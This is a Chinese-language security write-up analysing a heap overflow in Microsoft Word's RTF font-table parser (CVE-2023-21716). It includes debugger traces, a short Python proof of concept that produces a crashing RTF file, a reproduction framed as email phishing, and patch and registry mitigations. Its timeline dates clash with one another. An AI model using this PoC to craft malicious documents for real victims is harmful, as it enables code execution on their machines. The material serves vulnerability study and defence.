作者:0x6270
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
Microsoft Word是Microsoft Office附带的文字处理应用程序。在默认安装中,Microsoft Word处理富文本格式(RTF)文档。这些文档主要由基于7位ASCII的关键字组成,这些关键字一起可以封装各种丰富的内容。
Microsoft Word的RTF解析器(wwlib)中存在远程代码执行漏洞,攻击者可以制作包含过多字体表项的RTF文件,并诱导用户打开来利用此漏洞。攻击者可利用多种方式诱导用户下载并打开特制文档,如电子邮件、即时消息等等。用户使用预览窗格也会触发此漏洞。成功利用此漏洞可能在目标系统上以该用户权限执行代码。
供应商:Microsoft
产品:Microsoft Word
确认受影响版本:
Microsoft Office 365 (Insider Preview - 2211 Build 15831.20122 CTR)
Microsoft Office 2016 (Including Insider Slow - 1704 Build 8067.2032 CTR)
Microsoft Office 2013
Microsoft Office 2010
Microsoft Office 2007
堆溢出漏洞产生点在于:Microsoft Word中的RTF解析器在处理字体表(*\fonttbl*)包含过量字体(*\f###*)。当处理字体时,字体id值(a *\f*后面的字符)由以下代码处理:
0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; 读取基地址 idx
0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; 读取字体 idx
0d6cf0bd 8d1451 lea edx,[ecx+edx2] ; 累加3
0d6cf0c0 668b08 mov cx,word ptr [eax] ; 读取codepage值
0d6cf0c3 66894c5604 mov word ptr [esi+edx2+4],cx ; 写入代码页
字体ID值由"movsx"指令加载,值为0xd6cf0c3。该指令扩展了加载的值,因此用**ffff** 填充了EDX寄存器的上面几位。下面的调试器摘录说明了运行时行为,看到EDX寄存器值变化情况:
*** edx will become: 0x17fc8 (from 0x7fec+0x7fee*2)
*** edx will become: 0x17fc9 (from 0x7fed+0x7fee*2)
*** edx will become: 0x17fde (from 0x7fee+0x7ff8*2)
*** edx will become: 0x17fdf (from 0x7fef+0x7ff8*2)
*** edx will become: 0x17fe0 (from 0x7ff0+0x7ff8*2)
*** edx will become: 0x17fe1 (from 0x7ff1+0x7ff8*2)
*** edx will become: 0x17fe2 (from 0x7ff2+0x7ff8*2)
*** edx will become: 0x17fe3 (from 0x7ff3+0x7ff8*2)
*** edx will become: 0x17fe4 (from 0x7ff4+0x7ff8*2)
*** edx will become: 0x17fe5 (from 0x7ff5+0x7ff8*2)
*** edx will become: 0x17fe6 (from 0x7ff6+0x7ff8*2)
*** edx will become: 0x17fe7 (from 0x7ff7+0x7ff8*2)
*** edx will become: 0xffff7ffc (from 0x7ff8+0xffff8002*2)
当这种情况发生时,内存写入堆中地址0xd6cf0c3处,指令将字体代码页写入esi寄存器中存储的内存的负偏移量,从而破坏堆。下面的调试器摘录显示了越界内存写入。
*** writing 0x4e4 to 0xd35ddb4 [0xd32de20+0x17fc8*2+4]
*** writing 0x4e4 to 0xd35ddb6 [0xd32de20+0x17fc9*2+4]
*** writing 0x4e4 to 0xd35dde0 [0xd32de20+0x17fde*2+4]
*** writing 0x4e4 to 0xd35dde2 [0xd32de20+0x17fdf*2+4]
*** writing 0x4e4 to 0xd35dde4 [0xd32de20+0x17fe0*2+4]
*** writing 0x4e4 to 0xd35dde6 [0xd32de20+0x17fe1*2+4]
*** writing 0x4e4 to 0xd35dde8 [0xd32de20+0x17fe2*2+4]
*** writing 0x4e4 to 0xd35ddea [0xd32de20+0x17fe3*2+4]
*** writing 0x4e4 to 0xd35ddec [0xd32de20+0x17fe4*2+4]
*** writing 0x4e4 to 0xd35ddee [0xd32de20+0x17fe5*2+4]
*** writing 0x4e4 to 0xd35ddf0 [0xd32de20+0x17fe6*2+4]
*** writing 0x4e4 to 0xd35ddf2 [0xd32de20+0x17fe7*2+4]
*** writing 0x4e4 to 0xd31de1c [0xd32de20+0xffff7ffc*2+4]
在内存损坏之后,产生额外的处理过程。恰当利用堆结构,攻击者可以造成堆溢出,从而产生远程代码执行。
依照原理,需生成恶意RTF文件,之后受害者打开RTF文件触发该漏洞。
以Office 2010为例
根据POC进行复现
POC:
#!/usr/bin/python
import sys
# 允许覆盖的字符数
num = 32761
if len(sys.argv) > 1:
num = int(sys.argv[1])
# 生成恶意RTF文件tezt.rtf
f = open("tezt.rtf", "wb")
f.write("{\\rtf1{\n{\\fonttbl")
for i in range(num):
f.write("{\\f%dA;}\n" % i)
f.write("}\n")
f.write("{\\rtlch CT2中国电信安全}\n")
f.write("}}\n")
f.close()
执行POC,运行后生成含恶意代码的RTF文件,可造成崩溃
以邮件钓鱼为例,受害者从OA邮箱接收含RTF恶意文件的邮件
受害者打开RTF文件,RTF解析器解析恶意代码,触发堆溢出,可以看到Word产生崩溃。
用Windbg跟踪崩溃情况
可以看到与文件解析结果一致
1、打开任何 Office 应用(如 Word)并创建新文档。
2、点击“文件”>“账户”。
3、在“产品信息”下,选择“更新选项”>“立即更新”。注意: 如果不能立即看到“立即更新”选项,可能需要先单击“启用更新”。
4、Office 完成检查和安装更新后,关闭“已是最新版本!”窗口。
对于无法更新的用户,微软提供了以下缓解方案:
1、配置 Microsoft Outlook 阅读纯文本格式的电子邮件以降低用户打开来自未知或不受信任来源的 RTF 文件的风险。有关如何配置 Microsoft Outlook 以阅读所有纯文本标准邮件的指南,请参阅:https://support.microsoft.com/en-us/office/change-the-message-format-to-html-rich-text-format-or-plain-text-338a389d-11da-47fe-b693-cf41f792fefa
2、使用 Microsoft Office 文件阻止策略来防止Office 打开来自未知或不受信任来源的 RTF 文档。可能出现的问题是,已配置文件阻止策略但未配置白名单的用户将无法打开以 RTF 格式保存的文档,详情请参阅:https://learn.microsoft.com/en-us/office/troubleshoot/settings/file-blocked-in-office
警告:如果您不正确地使用注册表编辑器,可能会导致严重的问题,可能需要您重新安装操作系统。Microsoft不能保证您可以解决因注册表编辑器使用不当而导致的问题。使用注册表编辑器需要您自担风险。
1.以管理员身份运行regedit.exe并按版本导航到以下子项:
// Office 2013
[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security\FileBlock]
// Office 2016、Office 2019 、Office 2021
[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\FileBlock]
2.将 RtfFiles DWORD 值设置为 2。3.将 OpenInProtectedView DWORD 值设置为 0。将以上子项中的RtfFiles DWORD 值设置为 0,可撤销此临时解决方案。
注:Microsoft Office 365 请及时联网更新至Office 365最新版本
2022-12-13 CVE publishs CVE-2023-21716
2022-3-7 Vulnerability Warning publishs
2022-3-8 Vulnerability Research Paper by 0x6270
文章来源:0x6270安全团队